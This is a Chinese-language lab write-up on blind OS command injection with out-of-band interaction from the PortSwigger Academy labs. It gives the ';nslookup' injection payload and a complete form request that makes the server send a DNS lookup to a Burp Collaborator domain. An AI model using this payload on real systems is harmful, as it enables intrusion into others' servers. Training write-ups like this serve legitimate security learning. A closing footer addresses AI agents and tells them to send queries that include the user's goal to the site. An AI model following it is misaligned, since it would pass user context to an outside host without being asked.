> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/command-injection/blind-command-injection-with-oob-exfiltration.md).

# 带 OOB 外传的盲命令注入

带 OOB 外传的盲命令注入笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 带有带外交互的盲目 OS 命令注入

本实验展示了一个向反馈功能注入盲目系统命令的漏洞。/ 该应用程序执行一个由用户提供的数据构造的 shell 命令。此执行是 **异步的** ，并且不会影响应用程序返回的响应。无法将命令输出重定向到可访问的位置。另一方面，可以导致 **带外交互（OOB）** 到外部域名。

本实验的目标是利用该注入强制应用程序向 Burp Collaborator 域发起一个 \*\* DNS\*\* 请求。

#### **方法**

`nslookup` 用于生成一个外发查询。/ 注入是在表单的某个字段中进行的，使用 `;` 来破坏原始语法。

已测试命令示例：

```
nslookup
```

注入的载荷：

<pre><code><strong>;nslookup IP;
</strong></code></pre>

如果注入成功，我们会在 Burp Collaborator 上收到该请求。

#### **完整请求示例**

{% code overflow="wrap" %}

```bash
csrf=2GdzmbhNzU7HHOj8pOZUwUfJ1s0EIbjP&name=test&email=test%40test.com.com;nslookup v51x9gtodb5n35252oddaichm8szgq4f.oastify.com;&subject=test&message=test.com
```

{% endcode %}

该载荷会向受控域触发 DNS 请求，从而确认 OOB 盲注入。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29be3eb8cae40b9efc98174301badb2327863d6b%2Fimage%20(313).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/command-injection/blind-command-injection-with-oob-exfiltration.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
